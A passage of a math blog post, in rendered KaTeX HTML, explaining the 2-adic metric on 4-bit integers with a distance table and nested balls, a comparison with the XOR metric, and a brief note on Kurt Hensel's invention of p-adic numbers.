style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.938em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.938em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0359em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">x</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0359em;">y</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span></span><span class="tag"><span class="strut" style="height:1.188em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">(</span><span class="mord"><span class="mord">4</span></span><span class="mord">)</span></span></span></span></span></span>

<p>Small <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">d_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> means <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo>−</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v_2(x-y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span> is large, which means <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x - y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> is divisible by a high power of 2, which means <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> agree on many trailing bits.</p>

<p>Let’s check who is close to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> under this metric (all 4-bit integers, sorted by distance):</p>

<table>
  <thead>
    <tr>
      <th>number</th>
      <th><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">d_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> from <code class="language-plaintext highlighter-rouge">0000</code></th>
      <th>cluster</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
      <td>← center</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>3</mn></mrow></msup><mo>=</mo><mn>0.125</mn></mrow><annotation encoding="application/x-tex">2^{-3} = 0.125</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">3</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.125</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>0.125</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mn>1000</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 0.125) = \{0000, 1000\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0.125</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1000</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>2</mn></mrow></msup><mo>=</mo><mn>0.25</mn></mrow><annotation encoding="application/x-tex">2^{-2} = 0.25</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.25</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>2</mn></mrow></msup><mo>=</mo><mn>0.25</mn></mrow><annotation encoding="application/x-tex">2^{-2} = 0.25</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.25</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>0.25</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>1100</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 0.25) = \{0000, \ldots, 1100\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0.25</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1100</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mn>0.5</mn></mrow><annotation encoding="application/x-tex">2^{-1} = 0.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mn>0.5</mn></mrow><annotation encoding="application/x-tex">2^{-1} = 0.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mn>0.5</mn></mrow><annotation encoding="application/x-tex">2^{-1} = 0.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mn>0.5</mn></mrow><annotation encoding="application/x-tex">2^{-1} = 0.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>0.5</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>1110</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 0.5) = \{0000, \ldots, 1110\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0.5</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1110</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>1</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>1111</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 1) = \{0000, \ldots, 1111\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1111</span><span class="mclose">}</span></span></span></span></td>
    </tr>
  </tbody>
</table>

<p>The cluster column closes at the last member of each ball — same nested-containment structure as XOR, balls doubling in size at each step (2, 4, 8, 16 members).
But notice: <code class="language-plaintext highlighter-rouge">1000</code> is the <em>closest</em> to <code class="language-plaintext highlighter-rouge">0000</code> because they share three trailing zeros, yet they differ in their <em>leading</em> bit and are maximally far under the XOR metric.</p>

<p>The 2-adic metric also satisfies the ultrametric inequality, with the same alien geometry — disjoint-or-nested balls, every interior point is a center, etc.
Verify that this is true.</p>

<p>Before we move on, a brief historical note.
The p-adic numbers were invented by <a href="https://en.wikipedia.org/wiki/Kurt_Hensel">Kurt Hensel</a> in 1897.
He introduced them in a paper that year and expanded the theory in his 1908 book <em>Theorie der algebraischen Zahlen</em>.
The motivation was analogy with power series in complex analysis: just as you can expand a function as <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>∑</mo><msub><mi>a</mi><mi>n</mi></msub><msup><mi>x</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">\sum a_n x^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>, Hensel wanted to expand integers as <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>∑</mo><msub><mi>a</mi><mi>n</mi></msub><msup><mi>p</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">\sum a_n p^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span 